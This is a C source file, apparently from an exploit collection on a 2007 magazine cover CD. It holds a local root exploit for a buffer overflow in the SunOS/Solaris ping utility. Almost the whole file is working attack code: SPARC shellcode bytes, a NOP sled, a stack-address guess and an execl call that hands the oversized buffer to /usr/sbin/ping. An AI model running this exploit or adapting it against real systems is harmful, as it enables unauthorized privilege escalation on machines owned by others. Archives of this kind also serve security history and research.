home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / ping.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  72 lines

  1. /*
  2.  
  3.   The ping utility uses the ICMP protocol's ECHO_REQUEST
  4.   datagram to elicit an ICMP  ECHO_RESPONSE from the
  5.   specified host or  network gateway.   A  buffer  overflow
  6.   has  been  discovered  in the ping program  which  could
  7.   be  exploited  by  local users to gain root access.
  8.  
  9.   SYSTEMS AFFECTED
  10.  
  11.     SunOS 5.6, 5.6_x86, 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, 5.4, 5.4_x86,
  12.           5.3, 4.1.4 and 4.1.3_U1
  13.  
  14.  */
  15.  
  16. #include <sys/types.h>
  17. #include <unistd.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <netdb.h>
  25.  
  26. #define BUF_LENGTH      8200
  27. #define EXTRA           100
  28. #define STACK_OFFSET    4000
  29. #define SPARC_NOP       0xa61cc013
  30.  
  31. u_char sparc_shellcode[] =
  32.   "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  33.   "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  34.   "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  35.   "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  36.   "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  37.  
  38. u_long get_sp(void)
  39. {
  40.   __asm__("mov %sp,%i0 \n");
  41. }
  42.  
  43. void main(int argc, char *argv[])
  44. {
  45.   char buf[BUF_LENGTH + EXTRA];
  46.   long targ_addr;
  47.   u_long *long_p;
  48.   u_char *char_p;
  49.   int i, code_length = strlen(sparc_shellcode);
  50.  
  51.   long_p = (u_long *) buf;
  52.  
  53.   for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
  54.     *long_p++ = SPARC_NOP;
  55.  
  56.   char_p = (u_char *) long_p;
  57.  
  58.   for (i = 0; i<code_length; i++)
  59.     *char_p++ = sparc_shellcode[i];
  60.  
  61.   long_p = (u_long *) char_p;
  62.  
  63.   targ_addr = get_sp() - STACK_OFFSET;
  64.   for (i = 0; i<EXTRA / sizeof(u_long); i++)
  65.     *long_p++ = targ_addr;
  66.  
  67.   printf("Jumping to address 0x%lx\n", targ_addr);
  68.   execl("/usr/sbin/ping", "ping", buf, (char *) 0);
  69.  
  70.   perror("execl failed");
  71. }
  72. /*                    www.hack.co.za              [2000]*/